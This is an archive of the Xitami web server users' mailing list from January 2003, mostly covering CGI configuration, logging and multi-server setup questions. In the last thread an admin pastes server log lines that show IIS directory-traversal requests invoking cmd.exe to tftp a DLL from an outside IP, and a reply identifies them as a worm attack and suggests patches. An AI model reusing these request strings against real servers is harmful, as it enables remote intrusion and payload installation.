From xitami@lists.xitami.org Thu Jan 2 10:30:49 2003 From: xitami@lists.xitami.org (Travis) Date: Thu, 2 Jan 2003 03:30:49 -0700 Subject: [Xitami] lrwp References: Message-ID: <000d01c2b24a$05217d00$4f39ff0c@attbi.com> This is a multi-part message in MIME format. ------=_NextPart_000_000A_01C2B20F.58703F40 Content-Type: text/plain; charset="windows-1255" Content-Transfer-Encoding: quoted-printable Yes, I work mostly in Delphi. I have even developed a component for LRWP in = Delphi. Haven't distributed it yet, want to do some more testing... =20 Is possible to develop LRWP cgi in Delphi ? Please details. =20 Eli =20 ------=_NextPart_000_000A_01C2B20F.58703F40 Content-Type: text/html; charset="windows-1255" Content-Transfer-Encoding: quoted-printable
Yes,
 
I work mostly in Delphi.  I have = even=20 developed a component for LRWP in Delphi.  Haven't distributed it = yet, want=20 to do some more testing...
 

 

Is=20 possible to develop LRWP cgi in Delphi = ?

Please=20 details.

 

Eli

 

<= /DIV>
------=_NextPart_000_000A_01C2B20F.58703F40-- From xitami@lists.xitami.org Thu Jan 2 17:05:28 2003 From: xitami@lists.xitami.org (Hymbaugh, Mike) Date: Thu, 2 Jan 2003 11:05:28 -0600 Subject: [Xitami] my Xitami crashing fixed Message-ID: <853CE5E8344DD41198B900508BD6BC909638D6@DMNTEXCH> For months I have been trying to figure out why it would crash every couple of hours. A couple weeks ago my computer starting crashing literally every 5 minutes. I spent this weekend trying to figure that out. What finally fixed it was taking out one of the processors. It's an Abit VP6 board with 2 PIII 700's. I pulled one of the PIII's, restarted the machine and everything has worked fine for a week now, haven't had to restart anything once. Not sure what is actually wrong, I didn't try putting the CPU back in and pulling the other. I may have gotten lucky and pulled a bad cpu the first try but I would bet it's the board. If it's hardware related that is. So I am either going to get a different dual board, or get a new board and newer processors. Thanks to all who tried to help me "fix" Xitami. mike From xitami@lists.xitami.org Sun Jan 5 05:21:33 2003 From: xitami@lists.xitami.org (Eli Yakobovich) Date: Sun, 05 Jan 2003 07:21:33 +0200 Subject: [Xitami] lrwp In-Reply-To: <000d01c2b24a$05217d00$4f39ff0c@attbi.com> Message-ID: This is a multi-part message in MIME format. --Boundary_(ID_C9ZTami7O/BWaR8I6qdnFA) Content-type: text/plain; charset=windows-1255 Content-transfer-encoding: 7BIT I am very glad ! After finished tests I will appreciate if you send me the component. Eli -----Original Message----- From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On Behalf Of Travis Sent: Thursday, January 02, 2003 12:31 PM To: xitami@lists.xitami.org Subject: Re: [Xitami] lrwp Yes, I work mostly in Delphi. I have even developed a component for LRWP in Delphi. Haven't distributed it yet, want to do some more testing... Is possible to develop LRWP cgi in Delphi ? Please details. Eli --Boundary_(ID_C9ZTami7O/BWaR8I6qdnFA) Content-type: text/html; charset=windows-1255 Content-transfer-encoding: 7BIT

I am very glad !

After finished tests I will appreciate if you send me the component.

 

Eli

 

-----Original Message-----
From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On Behalf Of Travis
Sent: Thursday, January 02, 2003 12:31 PM
To: xitami@lists.xitami.org
Subject: Re: [Xitami] lrwp

 

Yes,

 

I work mostly in Delphi.  I have even developed a component for LRWP in Delphi.  Haven't distributed it yet, want to do some more testing...

 

 

Is possible to develop LRWP cgi in Delphi ?

Please details.

 

Eli

 

--Boundary_(ID_C9ZTami7O/BWaR8I6qdnFA)-- From xitami@lists.xitami.org Sun Jan 5 22:03:02 2003 From: xitami@lists.xitami.org (Utku Uzmen) Date: Mon, 6 Jan 2003 00:03:02 +0200 Subject: [Xitami] Stubborn Xitami Message-ID: <000d01c2b506$3899a5e0$0400a8c0@utku> Hi everyone, My main HTML directory is the default one, "webpages". I also have another directory, in the Xitami working directory, named "emergency". In "emergency", there is only a very basic, plain, small index.html file that says that the server is temporarily down. What I wanted to do was to go to the WBA and change the main HTML dir to "emergency" in case of an emergency, quickly and easily. Well, it works. But when I changed back to "webpages" for normal operation, waited for the config refresh timeout (5 seconds), and even clicked "Restart" in the WBA, Xitami kept showing the "server down" page. Note that the WBA showed "webpages" as the main HTML dir. No it wasn't about cache because I saw the page being requested in the access logs every time I hit Ctrl+F5 in Internet Explorer and Xitami is set to *not* to "cache default pages". So as a last resort I restarted the Xitami service and it finally went back to showing my normal pages. Phew... Also a while ago, when I was playing around with log file formats and my config refresh timeout was set to 1 second, Xitami once again wouldn't change the way it logged access data, even though I tried all kinds of log cycle settings including "at startup", and even clicked the Restart button in the WBA. And, the same as above, restarting the service would force Xitami to "see" the changes I'd made. Did I overlook anything in these two situations? Isn't the Restart button supposed to do a full restart of the service except unloading/loading the Xitami executable code? Or possibly bugs? Thanks, Utku Uzmen ---------------------- http://www.maddrive.com utku@maddrive.com From xitami@lists.xitami.org Sun Jan 5 23:04:07 2003 From: xitami@lists.xitami.org (Travis) Date: Sun, 5 Jan 2003 16:04:07 -0700 Subject: [Xitami] lrwp References: Message-ID: <000b01c2b50e$c0541260$4f39ff0c@attbi.com> This is a multi-part message in MIME format. ------=_NextPart_000_0008_01C2B4D4.137FBC40 Content-Type: text/plain; charset="windows-1255" Content-Transfer-Encoding: quoted-printable I would like to know at this time, how many people would be interested = in my Delphi LRWP component? So far to test, it works with Standard = Applications and Services. It runs as it's own thread, has all callback = procedures necessary to make a good component. GET and POST support; = Variable data decoding; Environment data decoding; and all of these can = be toggled. Just drop me an e-mail at NowhereRx7@yahoo.com if you would like to know = more. I haven't decided whether or not to make it available for free. = I would like to get a little something back out of it. I'll try to keep = everyone interested posted. Thanks! ------=_NextPart_000_0008_01C2B4D4.137FBC40 Content-Type: text/html; charset="windows-1255" Content-Transfer-Encoding: quoted-printable
I would like to know at this time, how = many people=20 would be interested in my Delphi LRWP component?  So far to test, = it works=20 with Standard Applications and Services.  It runs as it's own = thread, has=20 all callback procedures necessary to make a good component.  GET = and POST=20 support; Variable data decoding; Environment data decoding; and all of = these can=20 be toggled.
 
Just drop me an e-mail at NowhereRx7@yahoo.com if you = would like to=20 know more.  I haven't decided whether or not to make it available = for=20 free.  I would like to get a little something back out of it.  = I'll=20 try to keep everyone interested posted.  = Thanks!
------=_NextPart_000_0008_01C2B4D4.137FBC40-- From xitami@lists.xitami.org Mon Jan 6 23:53:39 2003 From: xitami@lists.xitami.org (Neil Finlayson) Date: Mon, 6 Jan 2003 17:53:39 -0600 Subject: [Xitami] Xitami Pro and CGI Message-ID: <001d01c2b5de$d6189e60$0100a8c0@pages.d2g.com> This is a multi-part message in MIME format. ------=_NextPart_000_001A_01C2B5AC.8B240070 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hey, I have just move to Xitami Pro and when i run my CGI scripts i get the = error: Can't locate sub.txt in @INC (@INC contains: c:/Perl1/lib = c:/Perl1/site/lib .) at webpages/cgi-bin/2.cgi line 2. I have tried reinstalling Perl, ant nothing else has changed apart from = moving to Xitami Pro. Here is my system config: Windows 2000 server Xitami Pro 1.4Ghz Duron Activeperl PHP thanks. ------=_NextPart_000_001A_01C2B5AC.8B240070 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hey,
 
I have just move to Xitami Pro and when = i run my=20 CGI scripts i get the error:
 
Can't locate sub.txt in @INC (@INC = contains:=20 c:/Perl1/lib c:/Perl1/site/lib .) at webpages/cgi-bin/2.cgi line=20 2.
I have tried reinstalling Perl, ant = nothing else=20 has changed apart from moving to Xitami Pro.
 
Here is my system config:
Windows 2000 server
Xitami Pro
1.4Ghz Duron
Activeperl
PHP
 
thanks.
------=_NextPart_000_001A_01C2B5AC.8B240070-- From xitami@lists.xitami.org Tue Jan 7 02:13:00 2003 From: xitami@lists.xitami.org (R O) Date: Mon, 06 Jan 2003 18:13:00 -0800 Subject: [Xitami] Xitami Pro and CGI Message-ID: it looks as if you are trying to execute a cgi file from you webpages directory. I am not positive, but I believe you can't do that. Your cgi-bin directory should be at the same directory level as your "webpages" directory. Thats where the CGI module looks when its trying to execute your scripts. PHP can have scripts located in any directory path. -R Russel P. Olinger (310) 466-3399 rolinger1@hotmail.com >From: "Neil Finlayson" >Reply-To: xitami@lists.xitami.org >To: >Subject: [Xitami] Xitami Pro and CGI >Date: Mon, 6 Jan 2003 17:53:39 -0600 > >Hey, > >I have just move to Xitami Pro and when i run my CGI scripts i get the >error: > >Can't locate sub.txt in @INC (@INC contains: c:/Perl1/lib c:/Perl1/site/lib >.) at webpages/cgi-bin/2.cgi line 2. > >I have tried reinstalling Perl, ant nothing else has changed apart from >moving to Xitami Pro. > >Here is my system config: >Windows 2000 server >Xitami Pro >1.4Ghz Duron >Activeperl >PHP > >thanks. _________________________________________________________________ Protect your PC - get McAfee.com VirusScan Online http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 From xitami@lists.xitami.org Tue Jan 7 02:53:17 2003 From: xitami@lists.xitami.org (Neil Finlayson) Date: Mon, 6 Jan 2003 20:53:17 -0600 Subject: [Xitami] Xitami Pro and CGI References: Message-ID: <001901c2b5f7$ee4a9510$0100a8c0@pages.d2g.com> But before i upgraded i had such directories as test/somedir/cgi-bin/some.cgi which all worked fine. ----- Original Message ----- From: "R O" To: Sent: Monday, January 06, 2003 8:13 PM Subject: Re: [Xitami] Xitami Pro and CGI > > it looks as if you are trying to execute a cgi file from you webpages > directory. I am not positive, but I believe you can't do that. Your > cgi-bin directory should be at the same directory level as your "webpages" > directory. Thats where the CGI module looks when its trying to execute your > scripts. PHP can have scripts located in any directory path. > > -R > > Russel P. Olinger > (310) 466-3399 > rolinger1@hotmail.com > > > > > >From: "Neil Finlayson" > >Reply-To: xitami@lists.xitami.org > >To: > >Subject: [Xitami] Xitami Pro and CGI > >Date: Mon, 6 Jan 2003 17:53:39 -0600 > > > >Hey, > > > >I have just move to Xitami Pro and when i run my CGI scripts i get the > >error: > > > >Can't locate sub.txt in @INC (@INC contains: c:/Perl1/lib c:/Perl1/site/lib > >.) at webpages/cgi-bin/2.cgi line 2. > > > >I have tried reinstalling Perl, ant nothing else has changed apart from > >moving to Xitami Pro. > > > >Here is my system config: > >Windows 2000 server > >Xitami Pro > >1.4Ghz Duron > >Activeperl > >PHP > > > >thanks. > > > _________________________________________________________________ > Protect your PC - get McAfee.com VirusScan Online > http://clinic.mcafee.com/clinic/ibuy/campaign.asp?cid=3963 > > > -- > Xitami Users Mailing List -- For Xitami support > To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami > From xitami@lists.xitami.org Tue Jan 7 11:18:31 2003 From: xitami@lists.xitami.org (Pieter Hintjens) Date: Tue, 7 Jan 2003 12:18:31 +0100 Subject: *****SPAM***** Re: [Xitami] Xitami Pro and CGI In-Reply-To: <001901c2b5f7$ee4a9510$0100a8c0@pages.d2g.com> Message-ID: <3E1AC597.28005.3C6B397A@localhost> "Neil Finlayson" wrote: > But before i upgraded i had such directories as > test/somedir/cgi-bin/some.cgi > which all worked fine. Check the wildcard setting in the [CGI] section of defaults.cfg. It is possible that you changed this in Xitami.cfg when you originally installed Xitami (instead of creating defaults.cfg) and have now lost the setting after reinstalling Xitami/Pro. This is the relevant setting: [CGI] # Defines whether the CGI URL indicator ('/cgi-bin') is allowed # anywhere in the URL, or only at the start. If 1, it is allowed # anywhere in the URL. If 0, it may come only at the start of the # URL. Note that setting this to 1 opens a significant security # hole, if you also allow people to FTP files into the HTTP area. As # soon as someone creates a directory called /cgi-bin, they can # upload, and execute, CGI programs. wildcard=0 - Pieter Hintjens iMatix Corporation From xitami@lists.xitami.org Tue Jan 7 12:32:18 2003 From: xitami@lists.xitami.org (Ayhan Tuncer) Date: Tue, 07 Jan 2003 14:32:18 +0200 Subject: [Xitami] Xitami Pro and CGI References: <001d01c2b5de$d6189e60$0100a8c0@pages.d2g.com> Message-ID: <3E1AC8D1.939E1453@dalan.com.tr> > Neil Finlayson wrote: > > Hey, > > I have just move to Xitami Pro and when i run my CGI scripts i get the > error: > > Can't locate sub.txt in @INC (@INC contains: c:/Perl1/lib > c:/Perl1/site/lib .) at webpages/cgi-bin/2.cgi line 2. > I have tried reinstalling Perl, ant nothing else has changed apart > from moving to Xitami Pro. > > Here is my system config: > Windows 2000 server > Xitami Pro > 1.4Ghz Duron > Activeperl > PHP > > thanks. This looks like a Perl cgi error if you found the error in cgierr.log located in the main Xitami directory. It means your browser's request managed both to find the url and to execute the cgi script, however there is an error in the cgi script at line 2 . The Perl interpreter stops execution of the program and issues a warning which is written to the standard error, the cgierr.log. Open with a text editor your script file located at: webpages/cgi-bin/2.cgi at line 2 of this 2.cgi there should be some code which the perl interpreter can not execute. What does it say at line 2? If it says something like this: require 'sub.txt'; this means that you have neglected to copy over from your old directories an individual file by the name of sub.txt which your cgi program has to find and read before it can go any further. You should find this sub.txt file and copy it over to the same directory that 2.cgi is in. Ayhan Tuncer From xitami@lists.xitami.org Wed Jan 8 03:18:52 2003 From: xitami@lists.xitami.org (Neil Finlayson) Date: Tue, 7 Jan 2003 21:18:52 -0600 Subject: [Xitami] Xitami Pro and CGI References: <001d01c2b5de$d6189e60$0100a8c0@pages.d2g.com> <3E1AC8D1.939E1453@dalan.com.tr> Message-ID: <000e01c2b6c4$ab860ed0$0100a8c0@pages.d2g.com> The file is in the same directory. I also tried changing the wildcard setting and i need it to be set to 1. I believe it is something todo with the CGI_ROOT variable as it always looks in the C:/xitami/cgi-bin instead of like C:/xitami/webpages/username/cgi-bin/ ----- Original Message ----- From: "Ayhan Tuncer" To: Sent: Tuesday, January 07, 2003 6:32 AM Subject: Re: [Xitami] Xitami Pro and CGI > > Neil Finlayson wrote: > > > > Hey, > > > > I have just move to Xitami Pro and when i run my CGI scripts i get the > > error: > > > > Can't locate sub.txt in @INC (@INC contains: c:/Perl1/lib > > c:/Perl1/site/lib .) at webpages/cgi-bin/2.cgi line 2. > > I have tried reinstalling Perl, ant nothing else has changed apart > > from moving to Xitami Pro. > > > > Here is my system config: > > Windows 2000 server > > Xitami Pro > > 1.4Ghz Duron > > Activeperl > > PHP > > > > thanks. > > This looks like a Perl cgi error if you found the error in cgierr.log > located in the main Xitami directory. It means your browser's request > managed both to find the url and to execute the cgi script, however > there is an error in the cgi script at line 2 . > > The Perl interpreter stops execution of the program and issues a warning > which is written to the standard error, the cgierr.log. > > Open with a text editor your script file located at: > webpages/cgi-bin/2.cgi > at line 2 of this 2.cgi there should be some code which the perl > interpreter > can not execute. > > What does it say at line 2? If it says something like this: > > require 'sub.txt'; > > this means that you have neglected to copy over from your old > directories > an individual file by the name of sub.txt which your cgi program has > to > find and read before it can go any further. You should find this sub.txt > file and copy it over to the same directory that 2.cgi is in. > > Ayhan Tuncer > > > -- > Xitami Users Mailing List -- For Xitami support > To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami > From xitami@lists.xitami.org Fri Jan 10 02:22:39 2003 From: xitami@lists.xitami.org (Michael Bronder) Date: Thu, 9 Jan 2003 21:22:39 -0500 Subject: [Xitami] firewall access for multiple servers Message-ID: <000501c2b84f$26c77c10$0300a8c0@Buffy> perhaps slightly off topic, but as I'm trying to avoid taking Xitami offline I thought I'd ask: I'm interested in running Xitami, IIS and perhaps Apache for educational and light practical purposes. I'm wondering if I were to set each up on its own machine behind my firewall, and open a differect port to access each one, how that would work with my DNS and URLs.... Would every URL for a server NOT on port 80 need to have the ".com:port#" appended to it, or is that something I could set up with the DNS... (akin to "forward all www.blah.com requests to 111.111.111.111:1080, all www.blahblah.com to 111.111.111.111:2080). If I were not to register 3 domain names, would the port stay open after the first "111.111.111.111:1080" call, or if I were to follow a relative link from that index page, say, to a prduct page on the same site, would my browser stay on the same port? Does the question make sense? Would keeping IIS on a port other then 80 make it less likely to be hit by the 20K of hack attacks I get in the Xitami logs every day? All I'm interested in doing with IIS is learning more about ASP as well as perhaps throwing up some quick "MS Access web data sheets" Thanks for any help, and again, sorry if off topic. Michael From xitami@lists.xitami.org Fri Jan 10 16:40:10 2003 From: xitami@lists.xitami.org (Paul Reid) Date: Fri, 10 Jan 2003 11:40:10 -0500 Subject: [Xitami] firewall access for multiple servers In-Reply-To: <000501c2b84f$26c77c10$0300a8c0@Buffy> References: <000501c2b84f$26c77c10$0300a8c0@Buffy> Message-ID: <169-1786324058.20030110114010@rci.rutgers.edu> > All I'm interested in doing with IIS is learning more about ASP Either get in bed with Bill Gates or stay the heck away from ASP. Anything ASP can do, can be done in PHP or Perl or other many-platform tools. > as well as perhaps throwing up some quick "MS Access web data sheets" The other MS Office products can "Save As.. Web Page." This makes a rather bloated HTML but most browsers can swallow it. I do not know if Access offers this. Certainly you can fetch data out of an Access database with 3rd-party tools and display it to the Web. > all www.blah.com requests to 111.111.111.111:1080 DNS does not supply port numbers. Give each webserver its own IP. Relative links will stay on the same port. So a link on Xitami:80 could get you to Apache:1080 and once there you would stay on Apache:1080 > Would keeping IIS on a port other then 80 make it less likely to > be hit by the 20K of hack attacks I get in the Xitami logs every day? How do we know if they are hacking IIS or Xitami? At the peak of Code Red I was getting 20K of bogus hits a day, and IIS/PWS is banned in my world. But there are tools to scan for IIS and having it alive on any port is like throwing cheese on the floor and asking why the place is full of mice. -PRR From xitami@lists.xitami.org Fri Jan 10 22:55:18 2003 From: xitami@lists.xitami.org (R O) Date: Fri, 10 Jan 2003 14:55:18 -0800 Subject: [Xitami] firewall access for multiple servers Message-ID: Paul, You're anti-Microshit comments crack me up. Not only are you the man with most or all of the Xitami answers you are also comedian of the group - and the voice of reason for Microshit wanna-bes Keep it up. LOL Russel P. Olinger (310) 466-3399 rolinger1@hotmail.com >From: Paul Reid >Reply-To: xitami@lists.xitami.org >To: Michael Bronder >Subject: Re: [Xitami] firewall access for multiple servers >Date: Fri, 10 Jan 2003 11:40:10 -0500 > > > > All I'm interested in doing with IIS is learning more about ASP > >Either get in bed with Bill Gates or stay the heck away from ASP. > >Anything ASP can do, can be done in PHP or Perl or other >many-platform tools. > > > as well as perhaps throwing up some quick "MS Access web data sheets" > >The other MS Office products can "Save As.. Web Page." This makes a >rather bloated HTML but most browsers can swallow it. I do not know >if Access offers this. Certainly you can fetch data out of an Access >database with 3rd-party tools and display it to the Web. > > > all www.blah.com requests to 111.111.111.111:1080 > >DNS does not supply port numbers. Give each webserver its own IP. > >Relative links will stay on the same port. So a link on Xitami:80 >could get you to Apache:1080 and once there you would stay on >Apache:1080 > > > Would keeping IIS on a port other then 80 make it less likely to > > be hit by the 20K of hack attacks I get in the Xitami logs every day? > >How do we know if they are hacking IIS or Xitami? At the peak of >Code Red I was getting 20K of bogus hits a day, and IIS/PWS is >banned in my world. But there are tools to scan for IIS and having >it alive on any port is like throwing cheese on the floor and asking >why the place is full of mice. > > -PRR > > > >-- >Xitami Users Mailing List -- For Xitami support >To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami _________________________________________________________________ MSN 8 with e-mail virus protection service: 2 months FREE* http://join.msn.com/?page=features/virus From xitami@lists.xitami.org Sun Jan 12 23:58:45 2003 From: xitami@lists.xitami.org (Utku Uzmen) Date: Mon, 13 Jan 2003 01:58:45 +0200 Subject: [Xitami] Moving WBA Message-ID: <000801c2ba96$8c019590$0400a8c0@utku> I need to "move" WBA from /admin to /somethingelse. Changing the "admin=xiadmin" line in the WSX section of the configuration file doesn't allow this because Xiadmin still points to /admin based links. Is there anything I can do? If I can't change its path I won't be able to use WBA because a PHP script wants to use the /admin path and I have to let the script have it. =\ Thanks in advance for any advice. Utku Uzmen ---------------------- http://www.maddrive.com utku@maddrive.com From xitami@lists.xitami.org Mon Jan 13 00:17:02 2003 From: xitami@lists.xitami.org (miplanet) Date: Sun, 12 Jan 2003 19:17:02 -0500 Subject: [Xitami] Log File Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0002_01C2BA6F.2F768D70 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Has anyone gotten Webalizer to work with Xitami? Ron ------=_NextPart_000_0002_01C2BA6F.2F768D70 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Has = anyone gotten=20 Webalizer to work with Xitami?
 
Ron
 
------=_NextPart_000_0002_01C2BA6F.2F768D70-- From xitami@lists.xitami.org Mon Jan 13 00:49:21 2003 From: xitami@lists.xitami.org (Alasdair Macdonald) Date: Mon, 13 Jan 2003 00:49:21 -0000 Subject: [Xitami] Log File In-Reply-To: Message-ID: <3E220D11.19478.7EA8F32@localhost> Yep. What do you want to know? Alasdair On 12 Jan 2003 at 19:17, miplanet wrote: > Has anyone gotten Webalizer to work with Xitami? > > Ron > From xitami@lists.xitami.org Mon Jan 13 01:20:44 2003 From: xitami@lists.xitami.org (miplanet) Date: Sun, 12 Jan 2003 20:20:44 -0500 Subject: [Xitami] Log File In-Reply-To: <3E220D11.19478.7EA8F32@localhost> Message-ID: I am getting oversized username and oversized hostname error so nothing shows up. How do I get around the error or do you have an example for a config file. Ron -----Original Message----- From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On Behalf Of Alasdair Macdonald Sent: Sunday, January 12, 2003 7:49 PM To: xitami@lists.xitami.org Subject: Re: [Xitami] Log File Yep. What do you want to know? Alasdair On 12 Jan 2003 at 19:17, miplanet wrote: > Has anyone gotten Webalizer to work with Xitami? > > Ron > -- Xitami Users Mailing List -- For Xitami support To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Mon Jan 13 04:29:02 2003 From: xitami@lists.xitami.org (Paul Reid) Date: Sun, 12 Jan 2003 23:29:02 -0500 Subject: [Xitami] Moving WBA References: <000801c2ba96$8c019590$0400a8c0@utku> Message-ID: <3E22408E.AD2B63F4@rci.rutgers.edu> > I won't be able to use WBA because a PHP script wants to use the /admin path and I have to let the script have it. =\ Edit the Xitami source code and recompile, or edit the script. I'd edit the script. -PRR From xitami@lists.xitami.org Mon Jan 13 15:00:15 2003 From: xitami@lists.xitami.org (Utku Uzmen) Date: Mon, 13 Jan 2003 17:00:15 +0200 Subject: [Xitami] Moving WBA References: <200301131103.h0DB3XVN026479@sxpublic.nxrda.imatix.net> Message-ID: <000501c2bb14$7bd398c0$0400a8c0@utku> Those are beyond my capabilities for now. =) Utku Uzmen ---------------------- http://www.maddrive.com utku@maddrive.com ----- Original Message ----- Date: Sun, 12 Jan 2003 23:29:02 -0500 From: Paul Reid To: xitami@lists.xitami.org Subject: Re: [Xitami] Moving WBA Reply-To: xitami@lists.xitami.org > I won't be able to use WBA because a PHP script wants to use the /admin path and I have to let the script have it. =\ Edit the Xitami source code and recompile, or edit the script. I'd edit the script. -PRR From xitami@lists.xitami.org Mon Jan 13 23:31:58 2003 From: xitami@lists.xitami.org (miplanet) Date: Mon, 13 Jan 2003 18:31:58 -0500 Subject: [Xitami] Log File In-Reply-To: Message-ID: I haven't received an answer but have found that Xitami creates the log files in CLFX format. In the documentation it says that Xitami is cabable of other formats but how do I change it to CLF instead of CLF Ron -----Original Message----- From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On Behalf Of miplanet Sent: Sunday, January 12, 2003 8:21 PM To: xitami@lists.xitami.org Subject: RE: [Xitami] Log File I am getting oversized username and oversized hostname error so nothing shows up. How do I get around the error or do you have an example for a config file. Ron -----Original Message----- From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On Behalf Of Alasdair Macdonald Sent: Sunday, January 12, 2003 7:49 PM To: xitami@lists.xitami.org Subject: Re: [Xitami] Log File Yep. What do you want to know? Alasdair On 12 Jan 2003 at 19:17, miplanet wrote: > Has anyone gotten Webalizer to work with Xitami? > > Ron > -- Xitami Users Mailing List -- For Xitami support To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami -- Xitami Users Mailing List -- For Xitami support To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Mon Jan 13 23:35:40 2003 From: xitami@lists.xitami.org (miplanet) Date: Mon, 13 Jan 2003 18:35:40 -0500 Subject: [Xitami] Problem: Log files write nothing! In-Reply-To: <02f501c2c9cf$acfdc280$0302a8c0@oc2> Message-ID: Have you given a value to in each config file? [Accesslog] Filename = "filename.log" -----Original Message----- From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On Behalf Of Richard Cunningham Sent: Saturday, February 01, 2003 3:56 AM To: xitami@lists.xitami.org Subject: [Xitami] Problem: Log files write nothing! I was just checking my XitamiPro's logs and nothing is being written to any of them except the xitami.log. I installed XitamiPro per the instructions (had to create a log directory) . I checked the regular Xitami configs against the pro's and found no discrepancies. Does anyone have a clue? -- Xitami Users Mailing List -- For Xitami support To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Mon Jan 13 23:57:42 2003 From: xitami@lists.xitami.org (miplanet) Date: Mon, 13 Jan 2003 18:57:42 -0500 Subject: [Xitami] Log File In-Reply-To: Message-ID: Ok I found it so never mind. Now everything works just fine. -----Original Message----- From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On Behalf Of miplanet Sent: Monday, January 13, 2003 6:32 PM To: xitami@lists.xitami.org Subject: RE: [Xitami] Log File I haven't received an answer but have found that Xitami creates the log files in CLFX format. In the documentation it says that Xitami is cabable of other formats but how do I change it to CLF instead of CLF Ron -----Original Message----- From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On Behalf Of miplanet Sent: Sunday, January 12, 2003 8:21 PM To: xitami@lists.xitami.org Subject: RE: [Xitami] Log File I am getting oversized username and oversized hostname error so nothing shows up. How do I get around the error or do you have an example for a config file. Ron -----Original Message----- From: xitami-admin@lists.xitami.org [mailto:xitami-admin@lists.xitami.org]On Behalf Of Alasdair Macdonald Sent: Sunday, January 12, 2003 7:49 PM To: xitami@lists.xitami.org Subject: Re: [Xitami] Log File Yep. What do you want to know? Alasdair On 12 Jan 2003 at 19:17, miplanet wrote: > Has anyone gotten Webalizer to work with Xitami? > > Ron > -- Xitami Users Mailing List -- For Xitami support To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami -- Xitami Users Mailing List -- For Xitami support To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami -- Xitami Users Mailing List -- For Xitami support To unsubscribe: http://lists.xitami.org/mailman/listinfo/xitami From xitami@lists.xitami.org Tue Jan 14 17:40:06 2003 From: xitami@lists.xitami.org (Rob @ BMM) Date: Tue, 14 Jan 2003 10:40:06 -0700 Subject: [Xitami] Security Issue - Disabling Script Processing Message-ID: Hi, Please forgive me if I have not sent this correctly to the group. Can somebody help me with this. Periodically, I see in the access logs and error logs, an attempt from a hacker to run certain types of scripts in a cmd window such as the following: "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G ET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" "" "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G ET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" "" "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20G ET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" "" "GET /scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" "" "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" "" "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET %20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" "" "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET %20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" "" "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%20GET %20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" "" Notice that the hacker successfully used tftp to send some info back to himself. My router logs confirmed that this occurred. I have since eliminated all access rights to tftp. Not even the admin has rights anymore. Since this is on a Win2k system, you just can't delete or rename certain system executables such as cmd.exe or tftp.exe. Windows just restores it automatically. The question is: Since I run a simple HTML only site and don't need CGI processing, what can I do to eliminate all script processing of this nature. PS - The rest of you probably encounter some of these same security issues. You should check. Best Regards, Rob Allen President, Blue Marble Meds LLC. Offering 30-75% off Prescription Meds See us at http://www.BlueMarbleMeds.com From xitami@lists.xitami.org Tue Jan 14 23:29:32 2003 From: xitami@lists.xitami.org (admin) Date: Tue, 14 Jan 2003 15:29:32 -0800 Subject: [Xitami] Security Issue - Disabling Script Processing Message-ID: <059201c2bc24$cb8598d0$67646464@carlos> This is a multi-part message in MIME format. ------=_NextPart_000_058F_01C2BBE1.BCB724B0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable You are in trouble. This looks like a Nimda or codered attack. It attaks a range of ip=B4s, and when at last find some with the pants = down it tries to exploit a security "crater" in MS systems. Download the latest updates from msupdate. Then install a descent firewall, at least zonealarm. If you succeed patching the holes then the logs should tell 404 not 200. Good luck: Carlos Ps: more info is available at ms website. ----- Original Message ----- From: "Rob @ BMM" To: Sent: Tuesday, January 14, 2003 9:40 AM Subject: [Xitami] Security Issue - Disabling Script Processing > Hi, > > Please forgive me if I have not sent this correctly to the group. > > Can somebody help me with this. > > Periodically, I see in the access logs and error logs, an attempt from = a > hacker to run certain types of scripts in a cmd window such as the > following: > > "GET > /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%= 20G > ET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" "" > "GET > /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20208.179.58.54%= 20G > ET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" 